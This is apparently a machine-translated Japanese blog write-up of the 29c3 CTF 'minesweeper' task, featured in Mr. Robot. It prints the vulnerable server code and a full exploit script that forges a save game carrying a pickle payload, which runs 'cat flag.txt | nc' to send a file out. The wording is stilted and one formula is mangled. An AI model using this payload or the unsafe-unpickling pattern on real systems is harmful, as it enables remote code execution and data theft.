地雷原エクスプロイトの技術:ロボットからの掃海艇のプレイに関するCTFタスクを分析します

画像






こんにちは、habrodamとhabro-lord!



最近、私は偶然、最近流行のシリーズ「ミスター・ロボット」のあるエピソードに目を付けました。 プロジェクトにあまり馴染みがなく、それに関連する大規模なPRキャンペーン( ARGイベントのようなことを行うことさえあるようです)についてまだ知っていたので、面白いCTFタスクの条件を聞いたとき( ビン / 搾取のジャンルから)シリーズの1つのプロットでは、このタスクが実際に存在する可能性が最も高いと思いました。 World Wide Webに目を向けると、自分の仮定を確認しました。タスクはそれほど難しくない(1つのhabrostaのフレームワークに飽きる時間がないため)が、非常に独創的で興味深いので、今日は対処します。

カット、カット、カット!



プレビュー



一言で言えば、テレビ画面からどのように見えたか:あるエピソード(シーズン3、エピソード1、20:20-22:50)では、「地下ハッキング施設」が視聴者の前に表示されます。クラウドのコンピューター、何マイルもの黄色のパッチコード、サイバーパンクのようなアジア人と混雑しています。 ここでは、ネオンアークペアと車のターミナルの黒と黒の背景にあるアシッドグリーンの文字の万華鏡に囲まれ、CTFコンテストの情熱の高さが熱くなっていました。 GGは参加者の1人に近づき、彼はタスクの1つを処理できないと不満を言います。GGは25秒間、モニターを見なくてもタスクのすべての秘密を説明し、GGはフラグをノックアウトします。 終わり。



タスク自体について:これは、「29c3 CTF」(2012)に登場する100ポイント(少なくとも、hehe)に相当するソースコードを研究するための実際のタスクです。 それを解決するには、基本的な暗号の1部の知識とPythonの2部の知識が必要です(1つはpickle.loads()のシェルコードインジェクションの脆弱性を確認し、もう1つはいくつかのエクスプロイト行を作成します)。



まず、条件を検討します。



状態



逆転するのに十分ですか? この素敵なゲームをプレイして少し冷やしてください。必要に応じて、ゲームを保存して後で楽しむこともできます。 XX.XX.XX.XX:1024

<http://and_there_site_site_source/minesweeper.py>


著者からの無料翻訳:

逆転にうんざりしていませんか? 少し気を散らして、私たちの小さなゲームをプレイしてください。必要に応じて、中断したところから続行することもできます。 XX.XX.XX.XX:1024

<http://and_there_site_site_source/minesweeper.py>


タスクで提供されるソースコードは、スポイラーの下に隠されています。

minesweeper.py
#!/usr/bin/env python import bisect, random, socket, signal, base64, pickle, hashlib, sys, re, os def load_encrypt_key(): try: f = open('encrypt_key.bin', 'r') try: encrypt_key = f.read(4096) if len(encrypt_key) == 4096: return encrypt_key finally: f.close() except: pass rand = random.SystemRandom() encrypt_key = "" for i in xrange(0, 4096): encrypt_key += chr(rand.randint(0,255)) try: f = open('encrypt_key.bin', 'w') try: f.write(encrypt_key) finally: f.close() except: pass return encrypt_key class Field: def __init__(self, w, h, mines): self.w = w self.h = h self.mines = set() while len(self.mines) < mines: y = random.randint(0, h - 1) x = random.randint(0, w - 1) self.mines.add((y, x)) self.mines = sorted(self.mines) self.opened = [] self.flagged = [] def calc_num(self, point): n = 0 for y in xrange(point[0] - 1, point[0] + 2): for x in xrange(point[1] - 1, point[1] + 2): p = (y, x) if p != point and p in self.mines: n += 1 return n def open(self, y, x): point = (int(y), int(x)) if point[0] < 0 or point[0] >= self.h: return (True, "Illegal point") if point[1] < 0 or point[1] >= self.w: return (True, "Illegal point") if point in self.opened: return (True, "Already opened") if point in self.flagged: return (True, "Already flagged") bisect.insort(self.opened, point) if point in self.mines: return (False, "You lose") if len(self.opened) + len(self.mines) == self.w * self.h: return (False, "You win") if self.calc_num(point) == 0: #open everything around - it can not result in something bad self.open(y-1, x-1) self.open(y-1, x) self.open(y-1, x+1) self.open(y, x-1) self.open(y, x+1) self.open(y+1, x-1) self.open(y+1, x) self.open(y+1, x+1) return (True, None) def flag(self, y, x): point = (int(y), int(x)) if point[0] < 0 or point[0] >= self.h: return "Illegal point" if point[1] < 0 or point[1] >= self.w: return "Illegal point" if point in self.opened: return "Already opened" if point in self.flagged: self.flagged.remove(point) else: bisect.insort(self.flagged, point) return None def load(self, data): self.__dict__ = pickle.loads(data) def save(self): return pickle.dumps(self.__dict__, 1) def write(self, stream): mine = 0 open = 0 flag = 0 screen = " " + ("0123456789" * ((self.w + 9) / 10))[0:self.w] + "\n +" + ("-" * self.w) + "+\n" for y in xrange(0, self.h): have_mines = mine < len(self.mines) and self.mines[mine][0] == y have_opened = open < len(self.opened) and self.opened[open][0] == y have_flagged = flag < len(self.flagged) and self.flagged[flag][0] == y screen += chr(0x30 | (y % 10)) + "|" for x in xrange(0, self.w): is_mine = have_mines and self.mines[mine][1] == x is_opened = have_opened and self.opened[open][1] == x is_flagged = have_flagged and self.flagged[flag][1] == x assert(not (is_opened and is_flagged)) if is_mine: mine += 1 have_mines = mine < len(self.mines) and self.mines[mine][0] == y if is_opened: open += 1 have_opened = open < len(self.opened) and self.opened[open][0] == y if is_mine: c = "*" else: c = ord("0") #check prev row for m in xrange(mine - 1, -1, -1): if self.mines[m][0] < y - 1: break if self.mines[m][0] == y - 1 and self.mines[m][1] in (x - 1, x, x + 1): c += 1 #check left & right if mine > 0 and self.mines[mine - 1][0] == y and self.mines[mine - 1][1] == x - 1: c += 1 if have_mines and self.mines[mine][1] == x + 1: c += 1 #check next row for m in xrange(mine, len(self.mines)): if self.mines[m][0] > y + 1: break if self.mines[m][0] == y + 1 and self.mines[m][1] in (x - 1, x, x + 1): c += 1 c = chr(c) elif is_flagged: flag += 1 have_flagged = flag < len(self.flagged) and self.flagged[flag][0] == y c = "!" else: c = " " screen += c screen += "|" + chr(0x30 | (y % 10)) + "\n" screen += " +" + ("-" * self.w) + "+\n " + ("0123456789" * ((self.w + 9) / 10))[0:self.w] + "\n" stream.send(screen) sock = socket.socket() sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.bind(('0.0.0.0', 1024)) sock.listen(10) signal.signal(signal.SIGCHLD, signal.SIG_IGN) encrypt_key = load_encrypt_key() while 1: client, addr = sock.accept() if os.fork() == 0: break client.close() sock.close() f = Field(16, 16, 20) re_pos = re.compile("^. *([0-9]+)[ :;,]+([0-9]+) *$") re_save = re.compile("^. *([0-9a-zA-Z+/]+=*) *$") def handle(line): if len(line) < 1: return (True, None) if len(line) == 1 and line[0] in "qxQX": return (False, "Bye") global f if line[0] in "foFO": m = re_pos.match(line) if m is None: return (True, "Usage: '([oOfF]) *([0-9]+)[ :;,]+([0-9]+) *', Cmd=\\1(Open/Flag) X=\\2 Y=\\3") x,y = m.groups() x = int(x) y = int(y) if line[0] in "oO": return f.open(y,x) else: return (True, f.flag(y,x)) elif line[0] in "lL": m = re_save.match(line) if m is None: return (True, "Usage: '([lL]) *([0-9a-zA-Z+/]+=*) *', Cmd=\\1(Load) Save=\\2") msg = base64.standard_b64decode(m.group(1)) tmp = "" for i in xrange(0, len(msg)): tmp += chr(ord(msg[i]) ^ ord(encrypt_key[i % len(encrypt_key)])) msg = tmp if msg[0:9] != "4n71cH3aT": return (True, "Unable to load savegame (magic)") h = hashlib.sha1() h.update(msg[9+h.digest_size:]) if msg[9:9+h.digest_size] != h.digest(): return (True, "Unable to load savegame (checksum)") try: f.load(msg[9+h.digest_size:]) except: return (True, "Unable to load savegame (exception)") return (True, "Savegame loaded") elif len(line) == 1 and line[0] in "sS": msg = f.save() h = hashlib.sha1() h.update(msg) msg = "4n71cH3aT" + h.digest() + msg tmp = "" for i in xrange(0, len(msg)): tmp += chr(ord(msg[i]) ^ ord(encrypt_key[i % len(encrypt_key)])) msg = tmp return (True, "Your savegame: " + base64.standard_b64encode(msg)) #elif len(line) == 1 and line[0] in "dD": # return (True, repr(f.__dict__)+"\n") else: return (True, "Unknown Command: '" + line[0] + "', valid commands: ofqxls") data = "" while 1: f.write(client) while 1: pos = data.find("\n") if pos != -1: cont, msg = handle(data[0:pos]) if not cont: if msg is not None: client.send(msg + "\n") f.write(client) client.close() sys.exit(0) if msg is not None: client.send(msg + "\n") data = data[pos+1:] break new_data = client.recv(4096) if len(new_data) == 0: sys.exit(0) data += new_data
      
      







実際には、マインスイーパと「遊ぶ」簡単なクライアントサーバーアプリケーションがあります。 添付されたソースコードはサーバー上で回転し、参加者は、ゲームのクライアント側であるnetcatの控えめなcliインターフェイスを介してのみアクセスできます。 その結果、フラグを取得するには、プレイヤーがサーバーファイルシステムにアクセスするために、自作の掃海艇の実装で弱点を見つける必要があります(フラグがまだある必要があることは明らかです)。



他の人のソースコードを掘り下げる時です...



ソースコード調査



輸入漬物



既に述べたように、Python標準ライブラリの知識を少しでも持っている人は、ソーステキストを含むファイルの2行目に既にある研究ベクトルの1つを見るでしょう。



 import bisect, random, socket, signal, base64, pickle, hashlib, sys, re, os
      
      





プログラムはpickleモジュールを使用します。これは、おそらく(ゲームの状態を保存およびロードする機会に留意して) piclke.loads()メソッドの呼び出しが表示されることを意味します。これはご存じのように、任意のコード実行に対して脆弱です。



理論によれば、(英語の「pickle」からの) pickleライブラリを使用してPythonオブジェクトをシリアライズおよびデシリアライズします。つまり、ファイルに長期保存するためにオブジェクト状態をビットシーケンス(特定のアルゴリズム-プロトコル)で保存します。ハードディスク、ネットワークを介した伝送など、およびプログラム本体でさらに使用するために同じビットシーケンスからこの状態を復元します。 しかし、また、理論(Pythonのドキュメントに代わって)は、悪意のある負荷で特別に作成されたファイルの実行の犠牲にならないように、デシリアライズするデータの信頼性を確認する必要があることを赤い背景に太字で丁寧に警告しています私たちの生活を台無しにします。



この瞬間を覚えて、コードをさらに進めてください。



load_encrypt_key()



 def load_encrypt_key(): try: f = open('encrypt_key.bin', 'r') try: encrypt_key = f.read(4096) if len(encrypt_key) == 4096: return encrypt_key finally: f.close() except: pass rand = random.SystemRandom() encrypt_key = "" for i in xrange(0, 4096): encrypt_key += chr(rand.randint(0,255)) try: f = open('encrypt_key.bin', 'w') try: f.write(encrypt_key) finally: f.close() except: pass return encrypt_key
      
      





すぐに、恐ろしい名前load_encrypt_key()の関数が表示されます。この関数は、サーバーに保存された秘密鍵を使用して、ゲームが何かをチェック/署名する方法を持っていることを示唆します。



この関数は秘密鍵をダウンロードするだけです。秘密鍵が存在する場合、サーバーはencrypt_key.binファイルから取得します。そうでない場合、そのようなファイルが生成され、ランダムなシングルバイト値で詰まります。 秘密鍵のサイズ:4096バイト。 覚えておいてください。



クラスField



以下は、マインスイーパをプレイするためのフィールドを説明するクラスです。

 class Field: def __init__(self, w, h, mines): self.w = w self.h = h self.mines = set() while len(self.mines) < mines: y = random.randint(0, h - 1) x = random.randint(0, w - 1) self.mines.add((y, x)) self.mines = sorted(self.mines) self.opened = [] self.flagged = [] def calc_num(self, point): # ... def open(self, y, x): # ... def flag(self, y, x): # ... def load(self, data): self.__dict__ = pickle.loads(data) def save(self): return pickle.dumps(self.__dict__, 1) def write(self, stream): # ...
      
      





つまり、 Fieldフィールドのフィールドを記述するコンストラクター( w-幅、 h-高さ、 鉱山 -min座標[ランダムに生成]のリスト、およびopenセルとクリアセルの座標を含むリスト-openおよびそれぞれフラグが設定されています)、ゲームの読み込みと保存の方法も含まれます。



私たちの仮定は真実であることが判明しました-piclke.loads()は実際にゲームをロードするために使用されます。 これがどのように起こるか: Field.save()メソッドはフィールドの状態をビットのシーケンス( pickle.dumps()メソッドのプロトコル1に準拠 )にプッシュし、 Field.load()メソッドはプレーヤーの要求に応じてこのシーケンスを復元し、ゲームプロセスのその瞬間を返します彼が止めた。



説明が省略されている方法は、ゲームプロセス自体の実装の直接的なコンポーネントであり、セキュリティ研究者のハッカーに役立つ情報は含まれていません。 名前は目的を反映しています。



接続の初期化



次に、クライアントとサーバー間の接続を確立し、秘密鍵をロードして、サイズが16x16で、鉱山数が20のFieldクラスのインスタンスを作成するコードを参照します。

 sock = socket.socket() sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.bind(('0.0.0.0', 1024)) sock.listen(10) signal.signal(signal.SIGCHLD, signal.SIG_IGN) encrypt_key = load_encrypt_key() while 1: client, addr = sock.accept() if os.fork() == 0: break client.close() sock.close() f = Field(16, 16, 20)
      
      





マインスイーパは、PCが1台しかない場合でもプレイできることに注意してください。

MINUTE PARANOI:以下のアクションを実行することは、シェルアプリケーションを受信するために脆弱なアプリケーションでポートを開くことと同等です。したがって、ポートが外部からアクセス可能な場合、スクリプトをテストしてバインドのインターフェイスを0.0.0.0から127.0.0.1に変更することをお勧めします。


あるターミナルウィンドウでプログラムを実行し、別のターミナルウィンドウで$ nc 0.0.0.0 1024



を登録すると、リモートサーバーでプレイするときと同じ効果が得られます。



さあ、やってみましょう。 出力は膨大であるため、スポイラーでの結果:

接続をテストする
画像



私たちは何を持っています:

  1. 「h」文字の最初の入力後(少し助けが必要でした)、コマンドのリストが利用可能になりました: ofqxls 。 後で、 o-オープン(セルを開く)、 f-フラグ(セルをクリア)、 q-終了(ゲームを終了)、 x-終了(ゲームを終了)、 l-ロード(ゲームをロード)、 s-保存(ゲームを保存)。
  2. saveコマンドの出力は、base64文字列の形式です。
  3. loadコマンドの入力もbase64文字列にする必要があります。


いいね! コードに戻りましょう。



ハンドル()



最も興味深い部分に到達しました-ユーザー入力処理関数:

ハンドル()
 re_pos = re.compile("^. *([0-9]+)[ :;,]+([0-9]+) *$") re_save = re.compile("^. *([0-9a-zA-Z+/]+=*) *$") def handle(line): if len(line) < 1: return (True, None) if len(line) == 1 and line[0] in "qxQX": return (False, "Bye") global f if line[0] in "foFO": m = re_pos.match(line) if m is None: return (True, "Usage: '([oOfF]) *([0-9]+)[ :;,]+([0-9]+) *', Cmd=\\1(Open/Flag) X=\\2 Y=\\3") x,y = m.groups() x = int(x) y = int(y) if line[0] in "oO": return f.open(y,x) else: return (True, f.flag(y,x)) elif line[0] in "lL": m = re_save.match(line) if m is None: return (True, "Usage: '([lL]) *([0-9a-zA-Z+/]+=*) *', Cmd=\\1(Load) Save=\\2") msg = base64.standard_b64decode(m.group(1)) tmp = "" for i in xrange(0, len(msg)): tmp += chr(ord(msg[i]) ^ ord(encrypt_key[i % len(encrypt_key)])) msg = tmp if msg[0:9] != "4n71cH3aT": return (True, "Unable to load savegame (magic)") h = hashlib.sha1() h.update(msg[9+h.digest_size:]) if msg[9:9+h.digest_size] != h.digest(): return (True, "Unable to load savegame (checksum)") try: f.load(msg[9+h.digest_size:]) except: return (True, "Unable to load savegame (exception)") return (True, "Savegame loaded") elif len(line) == 1 and line[0] in "sS": msg = f.save() h = hashlib.sha1() h.update(msg) msg = "4n71cH3aT" + h.digest() + msg tmp = "" for i in xrange(0, len(msg)): tmp += chr(ord(msg[i]) ^ ord(encrypt_key[i % len(encrypt_key)])) msg = tmp return (True, "Your savegame: " + base64.standard_b64encode(msg)) #elif len(line) == 1 and line[0] in "dD": # return (True, repr(f.__dict__)+"\n") else: return (True, "Unknown Command: '" + line[0] + "', valid commands: ofqxls")
      
      







繰り返しますが、重要な点のみを考慮してください。 ゲームの保存を担当する部分から始めましょう。



 elif len(line) == 1 and line[0] in "sS": msg = f.save() h = hashlib.sha1() h.update(msg) msg = "4n71cH3aT" + h.digest() + msg tmp = "" for i in xrange(0, len(msg)): tmp += chr(ord(msg[i]) ^ ord(encrypt_key[i % len(encrypt_key)])) msg = tmp return (True, "Your savegame: " + base64.standard_b64encode(msg))
      
      





保存は4段階で行われます。

  1. msg = f.save()



    - Fieldフィールドの現在の状態のダンプを保存します。
  2. h = hashlib.sha1(); h.update(msg); msg = "4n71cH3aT" + h.digest() + msg



    h = hashlib.sha1(); h.update(msg); msg = "4n71cH3aT" + h.digest() + msg



    受信したメッセージからsha1ハッシュを取得し、連結操作を実行します。ソルト(行 " 4n71cH3aT ")とともにハッシュがメッセージの先頭に追加されます。
  3. for i in xrange(0, len(msg)): tmp += chr(ord(msg[i]) ^ ord(encrypt_key[i % len(encrypt_key)]))



    -メッセージに署名:xor各メッセージバイト秘密鍵の次のバイト。
  4. return (True, "Your savegame: " + base64.standard_b64encode(msg))



    -署名されたメッセージからbase64文字列を返します。 これがセーブゲームです。


ダウンロードを検討してください。

 elif line[0] in "lL": m = re_save.match(line) if m is None: return (True, "Usage: '([lL]) *([0-9a-zA-Z+/]+=*) *', Cmd=\\1(Load) Save=\\2") msg = base64.standard_b64decode(m.group(1)) tmp = "" for i in xrange(0, len(msg)): tmp += chr(ord(msg[i]) ^ ord(encrypt_key[i % len(encrypt_key)])) msg = tmp if msg[0:9] != "4n71cH3aT": return (True, "Unable to load savegame (magic)") h = hashlib.sha1() h.update(msg[9+h.digest_size:]) if msg[9:9+h.digest_size] != h.digest(): return (True, "Unable to load savegame (checksum)") try: f.load(msg[9+h.digest_size:]) except: return (True, "Unable to load savegame (exception)") return (True, "Savegame loaded")
      
      





ロードは同様のアルゴリズムに従って行われますが、逆の順序で行われます。

  1. base64文字列をデコードします。
  2. 繰り返しますが、xor操作を使用して元のメッセージを取得します。
  3. saltプレフィックス " 4n71cH3aT "を取り除きます。
  4. 既存のメッセージハッシュと新しく計算されたハッシュを比較します。一致する場合はreturn (True, "Savegame loaded")



    return (True, "Unable to load savegame (checksum)")



    、そうでない場合はチェックサムエラーをreturn (True, "Unable to load savegame (checksum)")





コードの分析が完了すると、クライアントとサーバーの対話のメインサイクルが続きますが、これは興味のないことです。



攻撃計画



したがって、エクスプロイトを作成するために必要なすべての情報があります。



おおよその計画は次のとおりです。ペイロードが埋め込まれた悪意のある保存ファイルを作成して、目的のシェルコードを実行し、サーバーにフィードします。これにより、ゲームの作成者が意図していないアクションを実行します。 この状況での主なタスクは、サーバーの秘密鍵(正確には秘密鍵の一部です。正確に言えば、この場合、フィールドは小さく、鍵の4096バイトはすべて使用されません)を保存に署名することです。 これを行うには、ゲームの保存方法の次の行に再び目を向けます。

 msg = f.save() h = hashlib.sha1() h.update(msg) msg = "4n71cH3aT" + h.digest() + msg tmp = "" for i in xrange(0, len(msg)): tmp += chr(ord(msg[i]) ^ ord(encrypt_key[i % len(encrypt_key)]))
      
      





使用される暗号は単純なxor暗号であるため、秘密鍵を除く方程式のすべてのコンポーネントを知っているため、xorを再度実行するだけで簡単に抽出できます。





Save=||Sha1|| oplus









Key=||Sha1|| oplusSave





どこで || -連結操作。



これにより、 保存 (ゲームで受信可能)とプレフィックス ( " 4n71cH3aT ")が得られます。 Fieldに対処することは残っています。 ロールトリックを行うには、(偽の) Fieldインスタンスがサーバーインスタンスと正確に一致する必要があります。この場合、 pickle.dumps()は、 Fieldインスタンスのフィールドを含む辞書をその値でシリアル化するためです。



Fieldの構成を思い出してください:

 class Field: def __init__(self, w, h, mines): self.w = w self.h = h self.mines = set() while len(self.mines) < mines: y = random.randint(0, h - 1) x = random.randint(0, w - 1) self.mines.add((y, x)) self.mines = sorted(self.mines) self.opened = [] self.flagged = []
      
      





幅、高さは既知であり、開いたセルとクリアされたセルを含むリストは最も簡単に空のままになります(ゲームの最初の段階で、1回も移動することなく保存されます) 最小座標が残ります 唯一の解決策は、このような座標を持つリストを作成するためにゲームを実行することです。



私はサッパーを決して愛していませんでしたが、正直なところ、ネタバレの下で私の通路を見ることができます:

マインスイーパのプレイ方法
注: oまたはfコマンドを実行すると、最初に列が示され、次に行が示されます。 たとえば、 o3.15コマンドは、座標( 15、3)を持つセルを開きます。



画像



その結果、次のような鉱山の配列が得られました。

 mines = [ (1, 12), (1, 14), (2, 10), (2, 12), (2, 14), (3, 6), (4, 0), (4, 15), (5, 2), (8, 12), (8, 13), (8, 14), (10, 5), (10, 9), (11, 7), (11, 11), (13, 2), (13, 9), (14, 3), (14, 15) ]
      
      





次に、マインスイーパに再度接続して、「空の」保存を取得します。

画像



エクスプロイトを作成します



まず、偽のフィールドが必要です。ここでは、便宜上、 dump()メソッドをすぐに実装します。

 class FieldFake: def __init__(self, w, h, mines): self.w = w self.h = h self.mines = sorted(set(mines)) self.opened = [] self.flagged = [] def dump(self): return pickle.dumps(self.__dict__, protocol=1)
      
      





メッセージに接続されたソルトハッシュを受信する関数とxor暗号化関数を作成します。

 def gamehash(gamepickle): h = hashlib.sha1() h.update(gamepickle) return '4n71cH3aT' + h.digest() + gamepickle def crypt(plain, key): return ''.join([chr(ord(p) ^ ord(key[i % len(key)])) for i, p in enumerate(plain) ])
      
      





ペイロードを生成するためのファンクターを作成します。 入力はサーバーが実行する必要があるコマンドであり、出力は悪意のあるストレージでの実装に適した既製のシェルコードです。

 class Payload(object): def __init__(self, cmd): self.cmd = cmd def __reduce__(self): import os return (os.system, (self.cmd,))
      
      





ポイントは小さい-main()を書く:

 def main(): #  "" ,     encrypted = base64.standard_b64decode( 'Sqp2o3wcpQh6QGo4hT+x8U460tEeiF' \ 'UL9WmcTGcjP+AtaaIlYwjpB5V6ag/V' \ 'rPRsVstMs2N3WLOSgzzUUIbIDbnvxF' \ 'ECoGugBcTl+DR6NTKctUxpl+yjCSO7' \ 'uwL/+Az5w+9vNpVky+QChWcP0OfHAG' \ '8F7Nx3bFSFoHFc+hEGiSCmZHfu4Ppt' \ 'QNtQsdy00Zrhv+lCPv+6LQxltt+u39' \ 'zLbKVnOsaLF+j0JOW3hx352U5/UIVP' \ '2xav1OcIy30n+IhmIhbikpnmk2Kc8r' \ 'Le5qMX56v/irjSqbXnIsfgeKY4DfoS' \ 'Vp79YT+c+HxDP2roMyTeS+d10uUEYM' \ 'Mp0Q==' ) #  ,    reconstructed = FieldFake( 16, 16, [ (1, 12), (1, 14), (2, 10), (2, 12), (2, 14), (3, 6), (4, 0), (4, 15), (5, 2), (8, 12), (8, 13), (8, 14), (10, 5), (10, 9), (11, 7), (11, 11), (13, 2), (13, 9), (14, 3), (14, 15) ] ) #  +  +  ( ,  ) unencrypted = gamehash(reconstructed.dump()) #    part_of_key = crypt(unencrypted, encrypted) #   evilpickle = pickle.dumps(Payload('cat flag.txt | nc localhost 1234')) #  base64.  ! evilsave = base64.standard_b64encode(crypt(gamehash(evilpickle), part_of_key)) print evilsave
      
      





より独創的なもの(シェルを受信するまで)を考え出すことは可能ですが、デモを簡単にするために、 flag.txtファイルの内容をsdoutのポート1234でlocalhostに出力するコマンドとして単純なを選択します。スクリプトが実行されたサーバー上のディレクトリ(この場合、最初にそこに置く必要があります;))、また、幸運なことにスクリプトを読み取る権限があります。



まとめて作業を確認します。

evilsave.py
 #!/usr/bin/env python3 # -*- coding: UTF-8 -*- # Usage: python3 evilsave.py import hashlib, base64, pickle class FieldFake: def __init__(self, w, h, mines): self.w = w self.h = h self.mines = sorted(set(mines)) self.opened = [] self.flagged = [] def dump(self): return pickle.dumps(self.__dict__, protocol=1) class Payload(object): def __init__(self, cmd): self.cmd = cmd def __reduce__(self): import os return (os.system, (self.cmd,)) def gamehash(gamepickle): h = hashlib.sha1() h.update(gamepickle) return '4n71cH3aT' + h.digest() + gamepickle def crypt(plain, key): return ''.join([chr(ord(p) ^ ord(key[i % len(key)])) for i, p in enumerate(plain) ]) def main(): #  "" ,     encrypted = base64.standard_b64decode( 'Sqp2o3wcpQh6QGo4hT+x8U460tEeiF' \ 'UL9WmcTGcjP+AtaaIlYwjpB5V6ag/V' \ 'rPRsVstMs2N3WLOSgzzUUIbIDbnvxF' \ 'ECoGugBcTl+DR6NTKctUxpl+yjCSO7' \ 'uwL/+Az5w+9vNpVky+QChWcP0OfHAG' \ '8F7Nx3bFSFoHFc+hEGiSCmZHfu4Ppt' \ 'QNtQsdy00Zrhv+lCPv+6LQxltt+u39' \ 'zLbKVnOsaLF+j0JOW3hx352U5/UIVP' \ '2xav1OcIy30n+IhmIhbikpnmk2Kc8r' \ 'Le5qMX56v/irjSqbXnIsfgeKY4DfoS' \ 'Vp79YT+c+HxDP2roMyTeS+d10uUEYM' \ 'Mp0Q==' ) #  ,    reconstructed = FieldFake( 16, 16, [ (1, 12), (1, 14), (2, 10), (2, 12), (2, 14), (3, 6), (4, 0), (4, 15), (5, 2), (8, 12), (8, 13), (8, 14), (10, 5), (10, 9), (11, 7), (11, 11), (13, 2), (13, 9), (14, 3), (14, 15) ] ) #  +  +  ( ,  ) unencrypted = gamehash(reconstructed.dump()) #    part_of_key = crypt(unencrypted, encrypted) #   evilpickle = pickle.dumps(Payload('cat flag.txt | nc localhost 1234')) #  base64.  ! evilsave = base64.standard_b64encode(crypt(gamehash(evilpickle), part_of_key)) print evilsave if __name__ == '__main__': main()
      
      







そして、「 セーブゲーム(例外)をロードできません 」(そのジェネレータはpickle.loads()番目の例外がスローされたという警告を私たちに書いたにもかかわらず...

画像



...次のターミナルウィンドウ(「クライアント」側)で、 flag.txtファイルの内容、歓声、歓声を取得できました。

画像



おわりに



タスクは非常に美しく独創的です(さらに、私の意見では、彼はPythonの洗練された優雅さと多才さをよく示しています)シリーズのプロットで、競争の参加者にそのような困難を引き起こした原因は明らかです。 しかし、主人公による彼の決定<ソースコードをスクロールせずに30分未満は本当に賞賛を超えており、彼はPNPの平等の問題を解決する必要がありました-このアプローチでは、Jと同じです



検証済みのデータのみをシリアル化し、 強力な暗号化を使用し、優れたゲームをプレイし、「悪」な保存を行いません。



ハッピーハッキング!

画像



興味深いリンク



  1. CTFtime.org / 29c3 CTF / マインスイーパ-ctftime.org/task/193
  2. Mr. Robot.S03。 「Mr. Robot」の新シーズンは、イースターエッグとハッカーゲームでファンを喜ばせた-「Hacker」 -xakep.ru/2018/01/29/mrrobot-s03
  3. 不可解なpython「minesweeper」チャレンジ: MrRobot-reddit.com/r/MrRobot/comments/76kz6m/cryptic_python_minesweeper_challenge



All Articles